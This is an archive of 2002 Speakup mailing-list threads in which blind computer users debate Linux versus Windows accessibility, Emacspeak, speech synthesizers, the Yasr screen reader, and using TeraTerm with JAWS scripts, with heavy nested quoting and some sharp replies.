> > > > > It starts to print all the help file, but maybe I want to move
with a page
> > > > > up then down, etc.
> > > > >
> > > > > I know this is possible. Thanks.
> > > > > Teddy,
> > > > > orasnita@home.ro
> > > > >
> > > > > ----- Original Message -----
> > > > > From: "Shaun Oliver" <shaun_oliver@optusnet.com.au>
> > > > > To: <speakup@braille.uwo.ca>
> > > > > Sent: Sunday, May 19, 2002 8:05 AM
> > > > > Subject: Re: interesting experiment.
> > > > >
> > > > >
> > > > > SNIP
> > > > > > > You open a window, and it explains you what you should do
there.
> > > > > > > You have to press the space bar to check some checkboxes, to
press some
> > > > > > > buttons, etc, and if you don't know something, press shift+f10
(or the
> > > > > right
> > > > > > > mouse button and choose "what's this?" or press F1 to view the
help file
> > > > > > > wich is much much more easier to navigate than the man pages
under
> > > > > Linux.
> > > > > SNIP
> > > > >
> > > > > A fake.
> > > > > man pages under GNU/Linux are a lot easier to navigate than
windows help
> > > > > pages.
> > > > > you need to route the jaws cursor to the pc and then fart around
trying to
> > > > > find what you were looking for.
> > > > > even with the new features in jfw I seriously doubt you could
navigate a
> > > > > help file easier than a man page..
> > > > >
> > > > >
> > > > >
> > > > > _______________________________________________
> > > > > Speakup mailing list
> > > > > Speakup@braille.uwo.ca
> > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > >
> > > > >
> > > > >
> > > > > _______________________________________________
> > > > > Speakup mailing list
> > > > > Speakup@braille.uwo.ca
> > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > >
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> > --
> >
> > Janina Sajka, Director
> > Technology Research and Development
> > Governmental Relations Group
> > American Foundation for the Blind (AFB)
> >
> > Email: janina@afb.net Phone: (202) 408-8175
> >
> > Chair, Accessibility SIG
> > Open Electronic Book Forum (OEBF)
> > http://www.openebook.org
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

--

Janina Sajka, Director
Technology Research and Development
Governmental Relations Group
American Foundation for the Blind (AFB)

Email: janina@afb.net Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org


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Re: free terminal emulator for windows - download and install

[Octavian Rasnita]

Thank you. I have Territerm but I haven't installed it until now because I
wanted a terminal with SSH2 support and I've installed SecureCRT.
But if you say that is more accessible, I will install it for using for
connecting to my own Linux machine.

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Rich Caloggero" <rjc@MIT.EDU>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 8:12 PM
Subject: free terminal emulator for windows - download and install


Janina wrote:
> > Another option would be a better screen reader for telnet and a
> > better telnet client. That would mean a good DOS screen reader
> > like asap or Vocal-Eyes, assuming he can actually run DOS on that
> > Windows machine. Neither of those is very cheap, though, and

I use a free windows terminal emulator called teraterm. I redefine the jaws
function sayNonHighlightedText to read everything appearing on the screen,
as long as its not a menu or in a dialog box (about 7 lines of code. Go to
http://barajas.mit.edu/teraterm/ to get the package. Just unzip it into a
directory somewhere and click on ttermpro.exe for the standard version or
ttssh.exe for the ssh version. Both report the application name is
ttermpro.exe, so the jaws scripts will work regardless.
The jaws scripts are in ttermpro.zip. Download this file, extract to your
jaws scripts directory, and then either press enter on this script filename
from within windows explorer or press insert+f2 and choose script manager
and open the file from there. Once you have the file, press control+s to
save and compile it. Now you should be able to run teraterm and jaws should
speak correctly.

The real problem is text editing. I use ex (vi without the full-screen
stuff - basically ed ), but only crazy people like me probably want to go
this way. I need to try a full screen editor and make it work via a terminal
emulator. VI might be a good choice, but the key bindings only make sense if
you know about ed. What's the other choices for full screen editing which
are *not* emacs? I've heard of something called vim (is this correct)?
There's pico and probably others. I need to try and make this work for
myself too, because using ex is nice in some ways, but its more typing than
I really want to do with my RSI the way it is.

I can help more with this if needed. Its not the greatest solution, but it
works very well for me. The terminal emulator is very very stable. Its
worked on every version of windows I've tried it on with the same results.

Hope this helps someone -- Teddy especially. Please don't hesitate to ask me
for more help. I will be unavailable for the next week or so, but after the
28th, I'll be able to answer e-mail again.

                    Rich Caloggero
                    MIT Adaptive Tech. for Info and Computing


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Re: free terminal emulator for windows - download and install

[Octavian Rasnita]

There is NCSA Telnet. It works fine and I've heard that it is very
accessible with a dos screen reader.
It is available from NCSA FTP site, but I don't know the address.

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Charles Crawford" <ccrawford@acb.org>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 8:45 PM
Subject: Re: free terminal emulator for windows - download and install


Window eyes uses the insert-a for speak all when you are in teraterm.  That
program is not all that good from my experience.  I just wish there were a
good dos telnet program that coudl run from the dos window..

-- Charlie.

At 12:54 PM 5/20/02 -0500, you wrote:
>You mention jaws scripts. Are there window-eyes set files too? Or does it
>work fine without them.
>Greg
>
>
>On Mon, May 20, 2002 at 01:12:56PM -0400, Rich Caloggero wrote:
> > Janina wrote:
> > > > Another option would be a better screen reader for telnet and a
> > > > better telnet client. That would mean a good DOS screen reader
> > > > like asap or Vocal-Eyes, assuming he can actually run DOS on that
> > > > Windows machine. Neither of those is very cheap, though, and
> >
> > I use a free windows terminal emulator called teraterm. I redefine the
jaws
> > function sayNonHighlightedText to read everything appearing on the
screen,
> > as long as its not a menu or in a dialog box (about 7 lines of code. Go
to
> > http://barajas.mit.edu/teraterm/ to get the package. Just unzip it into
a
> > directory somewhere and click on ttermpro.exe for the standard version
or
> > ttssh.exe for the ssh version. Both report the application name is
> > ttermpro.exe, so the jaws scripts will work regardless.
> > The jaws scripts are in ttermpro.zip. Download this file, extract to
your
> > jaws scripts directory, and then either press enter on this script
filename
> > from within windows explorer or press insert+f2 and choose script
manager
> > and open the file from there. Once you have the file, press control+s to
> > save and compile it. Now you should be able to run teraterm and jaws
should
> > speak correctly.
> >
> > The real problem is text editing. I use ex (vi without the full-screen
> > stuff - basically ed ), but only crazy people like me probably want to
go
> > this way. I need to try a full screen editor and make it work via a
> terminal
> > emulator. VI might be a good choice, but the key bindings only make
> sense if
> > you know about ed. What's the other choices for full screen editing
which
> > are *not* emacs? I've heard of something called vim (is this correct)?
> > There's pico and probably others. I need to try and make this work for
> > myself too, because using ex is nice in some ways, but its more typing
than
> > I really want to do with my RSI the way it is.
> >
> > I can help more with this if needed. Its not the greatest solution, but
it
> > works very well for me. The terminal emulator is very very stable. Its
> > worked on every version of windows I've tried it on with the same
results.
> >
> > Hope this helps someone -- Teddy especially. Please don't hesitate to
> ask me
> > for more help. I will be unavailable for the next week or so, but after
the
> > 28th, I'll be able to answer e-mail again.
> >
> >                     Rich Caloggero
> >                     MIT Adaptive Tech. for Info and Computing
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
>_______________________________________________
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Re: interesting experiment.

[Octavian Rasnita]

I will download it tomorrow. Thanks for the link.

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Ryan Mann" <rmann@rmisp.net>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 8:04 AM
Subject: Re: interesting experiment.


Have you tried Yasr? It is at the URL http://mgorse.dhs.org:8000.  On Mon,
20 May 2002, Octavian Rasnita wrote:

> Ok, I don't want to learn Emacspeak at all.
> I would like to be able to use a real screen reader but unfortunately it
is
> not possible without a hardware sinthesizer which is expensive.
> I have one, but it is not supported by a real screen reader.
>
> I would like to have a screen reader that starts at startup, which can be
> used to read the screen in pine, pico, lynx, and the command line.
> Is this possible without a hardware sinthesizer?
> Am I asking too much from the best OS?
>
> Teddy,
> orasnita@home.ro
>
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Monday, May 20, 2002 6:46 AM
> Subject: Re: interesting experiment.
>
>
> This is not an important problem. You have more important things
> to worry about than this.
>
> Also, using emacs' terminal mode is probably not the smartest way
> to learn about emacs.
>
> If you're trying to learn emacs, you shouldn't start with that.
> You're trying to run, and you haven't even learned how to crawl
> yet.
>
> On Mon, 20 May 2002, Octavian Rasnita wrote:
>
> > Of course, because that problem happend me for more times.
> >
> > I think I found a little problem but I am not sure.
> >
> > When it starts, emacspeak  tell me that message that it is functioning
> > normally (BTW. How can I change that message?)  and I don't care about
> that
> > message and I start pressing the normal shortcuts for launching the
> terminal
> > mode before it finishes the message. When I do that, the terminal
doesn't
> > start.
> > If I let emacspeak to finish its message, I can start it.
> >
> > How can I stop the voice? What key should I press if I want to stop the
> > message?
> > I searched in the help file but I couldn't find it.
> > Teddy,
> > orasnita@home.ro
> >
> > ----- Original Message -----
> > From: "Janina Sajka" <janina@afb.net>
> > To: <speakup@braille.uwo.ca>
> > Sent: Monday, May 20, 2002 3:42 AM
> > Subject: Re: interesting experiment.
> >
> >
> > Octavian: You need to explain yourself.
> >
> > What is the meaning of "of course" in your message?
> >
> > What's that about?
> >
> > Also, why are you rebooting? That's your hangover from Windows.
> >
> > Get a clue. That's not the way to get out of trouble.
> >
> > Your emacs is probably working just fine, and you can probably
> > get back to your buffer list with c-x c-b
> >
> > Now, instead of whining at the first sign of trouble, why not
> > study how to use the program a bit? Have you read the tutorials?
> > What can you succeed with? Or, did you just come here to say:
> >
> > "of course"
> >
> > to us.
> >
> > I won't accept that. Not from you, not from anyone.
> >
> > On Sun, 19 May 2002, Octavian Rasnita wrote:
> >
> > > I press the keys for  launching the terminal mode under Emacspeak, I
> type
> > a
> > > simple ls command to test it, I won't hear anything of course, then
the
> > > computer stopped speaking, and I need to reboot it.
> > > IS Emacspeak the problem? Is IBM Via Voice stopping?
> > > I don't know.
> > > Thank you for putting me to learn. <gee>
> > > Do you have a link to a text file with all the command lines used by
> > > emacspeak?
> > > I've tried that help, but I couldn't find how to set the speed of
voice
> > > sinthesizer faster, nor how to read a text at once, not line by line.
> > > I also would like to know how can I skip the text when I read this
way.
> > >
> > > In Windows, I can put the screen reader to read in "say all" mode and
if
> I
> > > press the right shift, it skips a line and continue reading without
> > > stopping.
> > > If I press the left shift, it goes back with a line and continue
reading
> > > without stopping.
> > >
> > > This is a good feature and I am sure it should be in Emacspeak also.
> > > However, I couldn't find it.
> > >
> > > I would also like to know if there is a kind of control panel for
> > emacspeak,
> > > where I can set all the variables, a configuration file, etc.
> > > Emacspeak starts with a text file which is not too big and I should
read
> a
> > > lot of things before finding how to set the sinthesizer faster.
> > > And I don't  have the patience to listen how slowly it speaks.
> > >
> > > Teddy,
> > > orasnita@home.ro
> > >
> > > ----- Original Message -----
> > > From: "Janina Sajka" <janina@afb.net>
> > > To: <speakup@braille.uwo.ca>
> > > Sent: Sunday, May 19, 2002 6:17 AM
> > > Subject: Re: interesting experiment.
> > >
> > >
> > > No joke. Emacs is easier than Windows.
> > >
> > > Now, Octavian, stop belly aching and go learn how to do
> > > something.
> > >
> > > On Sun, 19 May 2002, Octavian Rasnita wrote:
> > >
> > > > Do you mean that using Emacspeak is easier than using Windows?
> > > > Nice joke. Really.
> > > > And ... without a hardware sinthesizer, with that IBM Via Voice that
> > likes
> > > > to crash so often, or other software sinthesizers hard to
understand,
> > ...
> > > > Teddy,
> > > > orasnita@home.ro
> > > >
> > > > ----- Original Message -----
> > > > From: "Ann Parsons" <akp@eznet.net>
> > > > To: <speakup@braille.uwo.ca>
> > > > Sent: Saturday, May 18, 2002 11:53 PM
> > > > Subject: Re: interesting experiment.
> > > >
> > > >
> > > > Hi all,
> > > >
> > > > Why don't you try Emacspeak and quit yawping!  There *is* a speech
> > > > output system that uses software speech.
> > > >
> > > > Ann P.
> > > >
> > > > --
> > > > Ann K. Parsons
> > > > email:  akp@eznet.net ICQ Number:  33006854
> > > > WEB SITE:  http://home.eznet.net/~akp
> > > > "All that is gold does not glitter.  Not all those who wander are
> lost."
> > > > JRRT
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > >
> > > --
> > >
> > > Janina Sajka, Director
> > > Technology Research and Development
> > > Governmental Relations Group
> > > American Foundation for the Blind (AFB)
> > >
> > > Email: janina@afb.net Phone: (202) 408-8175
> > >
> > > Chair, Accessibility SIG
> > > Open Electronic Book Forum (OEBF)
> > > http://www.openebook.org
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> > --
> >
> > Janina Sajka, Director
> > Technology Research and Development
> > Governmental Relations Group
> > American Foundation for the Blind (AFB)
> >
> > Email: janina@afb.net Phone: (202) 408-8175
> >
> > Chair, Accessibility SIG
> > Open Electronic Book Forum (OEBF)
> > http://www.openebook.org
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
> --
>
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
>
> Email: janina@afb.net Phone: (202) 408-8175
>
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
>
>
> _______________________________________________
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> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>


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Re: interesting experiment.

[Octavian Rasnita]

Thanks, but I needed to find if the bottle is half empty or  empty 100%.
I've tried  to find if I can  make the bottle full, but it seems that with
an internal sinthesizer, I can't do it.

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 8:06 AM
Subject: Re: interesting experiment.


Octavian:

You can complain, or you can put up with it and learn.

If you spend your time around here complaining that your glass is
half empty, no one is going to talk with you for very long.

If you decide to focus on things that work, instead of things
that don't ... If you decide your glass is half full, as our
English proverb goes, you'll find lots of help.

You've got a lot of demands for someone who can't afford to buy
the things that make Linux speech sound better. Or can you? If
you're looking for free, take what you have. If you want to spend
money, we know some folks that will sell you things.

On Mon, 20 May 2002, Octavian Rasnita wrote:

> The sound quality of DecTalk PC 1 is very bad.
> It uses an 8 bith sound encription and it has a bad noise.
> The voice is not very good also. Via voice is pretty good.
> I wish I could do something to stop it  crashing.
> Teddy,
> orasnita@home.ro
>
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Monday, May 20, 2002 6:20 AM
> Subject: Re: interesting experiment.
>
>
> Did you say you have a DEC Talk internal? Use it.
>
> On Mon, 20 May 2002, Octavian Rasnita wrote:
>
> > Ok, at least I know what is the problem now.
> > Are there any better software sinthesizers than Via voice  that can work
> > with emacspeak?
> > I don't care too much about responsiveness. I care about the sound
> quality.
> >
> > Thanks.
> > Teddy,
> > orasnita@home.ro
> >
> > ----- Original Message -----
> > From: "Janina Sajka" <janina@afb.net>
> > To: <speakup@braille.uwo.ca>
> > Sent: Sunday, May 19, 2002 7:58 AM
> > Subject: Re: interesting experiment.
> >
> >
> > I believe he is speaking of ViaVoice, and it does crash. Now, if
> > the source were available, someone of us would undoubtedly have
> > solved this issue. But it isn't.
> >
> > So, don't blame Linux. Blame IBM and the Windows mindset that
> > they brought to Linux in ViaVoice.
> >
> > On Sun, 19 May 2002, Cecil H. Whitley wrote:
> >
> > > Hi,
> > > Just a minor question, are you speaking of viavoice outloud for
windows
> or
> > > linux??  Things crashing under windows is normal, expected behavior.
I
> > > would go so far as to inquire if possibly there is a
"crashed_recently"
> > > variable within windows along with a random countdown timer......
> > > Regards,
> > > Cecil
> > > ----- Original Message -----
> > > From: "Octavian Rasnita" <orasnita@home.ro>
> > > To: <speakup@braille.uwo.ca>
> > > Sent: Saturday, May 18, 2002 8:45 PM
> > > Subject: Re: interesting experiment.
> > >
> > >
> > > > Do you mean that using Emacspeak is easier than using Windows?
> > > > Nice joke. Really.
> > > > And ... without a hardware sinthesizer, with that IBM Via Voice that
> > likes
> > > > to crash so often, or other software sinthesizers hard to
understand,
> > ...
> > > > Teddy,
> > > > orasnita@home.ro
> > > >
> > > > ----- Original Message -----
> > > > From: "Ann Parsons" <akp@eznet.net>
> > > > To: <speakup@braille.uwo.ca>
> > > > Sent: Saturday, May 18, 2002 11:53 PM
> > > > Subject: Re: interesting experiment.
> > > >
> > > >
> > > > Hi all,
> > > >
> > > > Why don't you try Emacspeak and quit yawping!  There *is* a speech
> > > > output system that uses software speech.
> > > >
> > > > Ann P.
> > > >
> > > > --
> > > > Ann K. Parsons
> > > > email:  akp@eznet.net ICQ Number:  33006854
> > > > WEB SITE:  http://home.eznet.net/~akp
> > > > "All that is gold does not glitter.  Not all those who wander are
> lost."
> > > > JRRT
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> > --
> >
> > Janina Sajka, Director
> > Technology Research and Development
> > Governmental Relations Group
> > American Foundation for the Blind (AFB)
> >
> > Email: janina@afb.net Phone: (202) 408-8175
> >
> > Chair, Accessibility SIG
> > Open Electronic Book Forum (OEBF)
> > http://www.openebook.org
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
> --
>
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
>
> Email: janina@afb.net Phone: (202) 408-8175
>
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

--

Janina Sajka, Director
Technology Research and Development
Governmental Relations Group
American Foundation for the Blind (AFB)

Email: janina@afb.net Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org


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Re: interesting experiment.

[Octavian Rasnita]

Ok, I understand that, and I don't want to compare Linux with Windows.
Let's forget Windows.
Let's say that I am a poet, and I need the computer only for writing my
poems, formatting some documents, playing some games, browsing the internet,
reading and composing mail, listening some music, connecting my computer to
my wife's computer to exchange documents, scanning some documents  and
recognizing the text, creating my web page, and other simple tasks.

If I am a poet and I don't know too many things about computers, and
probably I will never know, let's say that I don't know Windows, what would
you recommend?
Learning and using Linux or using Windows?
I am a poet and I don't know what is a device, a socket, etc.

Thanks for advice.

Now seriously, what I am trying to see is if Linux is used by non
specialists in computers as much as Windows.

I've seen some messages telling that Linux is for all the people, but I also
see that I need to learn a lot of things before being able to use Linux, and
that means that I will become a specialist, if I want to be able to use it.

Is it necessary to be a Linux specialist, or I can be a simple Linux
operator, that needs to do just the things I've told you above?

Thank you for some light in this direction also.

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 8:10 AM
Subject: Re: interesting experiment.


On Mon, 20 May 2002, Octavian Rasnita wrote:

> Well, I want to be able to use Linux just like I use Windows, without
being
> a specialist, without reading a lot of manuals, without learning weeks or
> months how to make some settings that I will need to use only once in 3
> years, etc.

Linux isn't Windows. The words are as different as Rumanian and
English are different. The concepts are also quite different.

As long as you insist on Linux being like Windows, you aren't
going to get anywhere. You need to throw out everything you think
you know about computers and start over. Or, forget Linux. We
won't be offended.


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Re: interesting experiment.

[Octavian Rasnita]

In Windows I can have champaigne for free. <smile>
In Linux I need  to pay for a hardware sinth to be able to get champaigne.
It was the same thing some years ago when I would need a hardware sinth for
DOS.

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 8:20 AM
Subject: Re: interesting experiment.



I tried to tell him about yasr twice yesterday. But, he will come
back and complain that the speech isn't quality stuff.

This guy wants champaigne, but he can't even afford beer.

On Mon, 20 May 2002, Ryan Mann wrote:

> Have you tried Yasr? It is at the URL http://mgorse.dhs.org:8000.  On Mon,
> 20 May 2002, Octavian Rasnita wrote:
>
> > Ok, I don't want to learn Emacspeak at all.
> > I would like to be able to use a real screen reader but unfortunately it
is
> > not possible without a hardware sinthesizer which is expensive.
> > I have one, but it is not supported by a real screen reader.
> >
> > I would like to have a screen reader that starts at startup, which can
be
> > used to read the screen in pine, pico, lynx, and the command line.
> > Is this possible without a hardware sinthesizer?
> > Am I asking too much from the best OS?
> >
> > Teddy,
> > orasnita@home.ro
> >
> > ----- Original Message -----
> > From: "Janina Sajka" <janina@afb.net>
> > To: <speakup@braille.uwo.ca>
> > Sent: Monday, May 20, 2002 6:46 AM
> > Subject: Re: interesting experiment.
> >
> >
> > This is not an important problem. You have more important things
> > to worry about than this.
> >
> > Also, using emacs' terminal mode is probably not the smartest way
> > to learn about emacs.
> >
> > If you're trying to learn emacs, you shouldn't start with that.
> > You're trying to run, and you haven't even learned how to crawl
> > yet.
> >
> > On Mon, 20 May 2002, Octavian Rasnita wrote:
> >
> > > Of course, because that problem happend me for more times.
> > >
> > > I think I found a little problem but I am not sure.
> > >
> > > When it starts, emacspeak  tell me that message that it is functioning
> > > normally (BTW. How can I change that message?)  and I don't care about
> > that
> > > message and I start pressing the normal shortcuts for launching the
> > terminal
> > > mode before it finishes the message. When I do that, the terminal
doesn't
> > > start.
> > > If I let emacspeak to finish its message, I can start it.
> > >
> > > How can I stop the voice? What key should I press if I want to stop
the
> > > message?
> > > I searched in the help file but I couldn't find it.
> > > Teddy,
> > > orasnita@home.ro
> > >
> > > ----- Original Message -----
> > > From: "Janina Sajka" <janina@afb.net>
> > > To: <speakup@braille.uwo.ca>
> > > Sent: Monday, May 20, 2002 3:42 AM
> > > Subject: Re: interesting experiment.
> > >
> > >
> > > Octavian: You need to explain yourself.
> > >
> > > What is the meaning of "of course" in your message?
> > >
> > > What's that about?
> > >
> > > Also, why are you rebooting? That's your hangover from Windows.
> > >
> > > Get a clue. That's not the way to get out of trouble.
> > >
> > > Your emacs is probably working just fine, and you can probably
> > > get back to your buffer list with c-x c-b
> > >
> > > Now, instead of whining at the first sign of trouble, why not
> > > study how to use the program a bit? Have you read the tutorials?
> > > What can you succeed with? Or, did you just come here to say:
> > >
> > > "of course"
> > >
> > > to us.
> > >
> > > I won't accept that. Not from you, not from anyone.
> > >
> > > On Sun, 19 May 2002, Octavian Rasnita wrote:
> > >
> > > > I press the keys for  launching the terminal mode under Emacspeak, I
> > type
> > > a
> > > > simple ls command to test it, I won't hear anything of course, then
the
> > > > computer stopped speaking, and I need to reboot it.
> > > > IS Emacspeak the problem? Is IBM Via Voice stopping?
> > > > I don't know.
> > > > Thank you for putting me to learn. <gee>
> > > > Do you have a link to a text file with all the command lines used by
> > > > emacspeak?
> > > > I've tried that help, but I couldn't find how to set the speed of
voice
> > > > sinthesizer faster, nor how to read a text at once, not line by
line.
> > > > I also would like to know how can I skip the text when I read this
way.
> > > >
> > > > In Windows, I can put the screen reader to read in "say all" mode
and if
> > I
> > > > press the right shift, it skips a line and continue reading without
> > > > stopping.
> > > > If I press the left shift, it goes back with a line and continue
reading
> > > > without stopping.
> > > >
> > > > This is a good feature and I am sure it should be in Emacspeak also.
> > > > However, I couldn't find it.
> > > >
> > > > I would also like to know if there is a kind of control panel for
> > > emacspeak,
> > > > where I can set all the variables, a configuration file, etc.
> > > > Emacspeak starts with a text file which is not too big and I should
read
> > a
> > > > lot of things before finding how to set the sinthesizer faster.
> > > > And I don't  have the patience to listen how slowly it speaks.
> > > >
> > > > Teddy,
> > > > orasnita@home.ro
> > > >
> > > > ----- Original Message -----
> > > > From: "Janina Sajka" <janina@afb.net>
> > > > To: <speakup@braille.uwo.ca>
> > > > Sent: Sunday, May 19, 2002 6:17 AM
> > > > Subject: Re: interesting experiment.
> > > >
> > > >
> > > > No joke. Emacs is easier than Windows.
> > > >
> > > > Now, Octavian, stop belly aching and go learn how to do
> > > > something.
> > > >
> > > > On Sun, 19 May 2002, Octavian Rasnita wrote:
> > > >
> > > > > Do you mean that using Emacspeak is easier than using Windows?
> > > > > Nice joke. Really.
> > > > > And ... without a hardware sinthesizer, with that IBM Via Voice
that
> > > likes
> > > > > to crash so often, or other software sinthesizers hard to
understand,
> > > ...
> > > > > Teddy,
> > > > > orasnita@home.ro
> > > > >
> > > > > ----- Original Message -----
> > > > > From: "Ann Parsons" <akp@eznet.net>
> > > > > To: <speakup@braille.uwo.ca>
> > > > > Sent: Saturday, May 18, 2002 11:53 PM
> > > > > Subject: Re: interesting experiment.
> > > > >
> > > > >
> > > > > Hi all,
> > > > >
> > > > > Why don't you try Emacspeak and quit yawping!  There *is* a speech
> > > > > output system that uses software speech.
> > > > >
> > > > > Ann P.
> > > > >
> > > > > --
> > > > > Ann K. Parsons
> > > > > email:  akp@eznet.net ICQ Number:  33006854
> > > > > WEB SITE:  http://home.eznet.net/~akp
> > > > > "All that is gold does not glitter.  Not all those who wander are
> > lost."
> > > > > JRRT
> > > > >
> > > > >
> > > > > _______________________________________________
> > > > > Speakup mailing list
> > > > > Speakup@braille.uwo.ca
> > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > >
> > > > >
> > > > >
> > > > > _______________________________________________
> > > > > Speakup mailing list
> > > > > Speakup@braille.uwo.ca
> > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > >
> > > >
> > > > --
> > > >
> > > > Janina Sajka, Director
> > > > Technology Research and Development
> > > > Governmental Relations Group
> > > > American Foundation for the Blind (AFB)
> > > >
> > > > Email: janina@afb.net Phone: (202) 408-8175
> > > >
> > > > Chair, Accessibility SIG
> > > > Open Electronic Book Forum (OEBF)
> > > > http://www.openebook.org
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > >
> > > --
> > >
> > > Janina Sajka, Director
> > > Technology Research and Development
> > > Governmental Relations Group
> > > American Foundation for the Blind (AFB)
> > >
> > > Email: janina@afb.net Phone: (202) 408-8175
> > >
> > > Chair, Accessibility SIG
> > > Open Electronic Book Forum (OEBF)
> > > http://www.openebook.org
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> > --
> >
> > Janina Sajka, Director
> > Technology Research and Development
> > Governmental Relations Group
> > American Foundation for the Blind (AFB)
> >
> > Email: janina@afb.net Phone: (202) 408-8175
> >
> > Chair, Accessibility SIG
> > Open Electronic Book Forum (OEBF)
> > http://www.openebook.org
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
>
> _______________________________________________
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> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

--

Janina Sajka, Director
Technology Research and Development
Governmental Relations Group
American Foundation for the Blind (AFB)

Email: janina@afb.net Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org


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Re: interesting experiment.

[Octavian Rasnita]

Yes, I remember Archie and Veronica, and Gopher. And I remember how  hard it
was to use hytelnet to browse that kind of Internet.
And I needed to connect with Telnet to another remote server to be able to
have access to hytelnet for browsing.
And I remembered that I needed to create a Pascal program for cracking Novel
Netware accounts  for being able to have access to internet from that
account by a  Unix server.
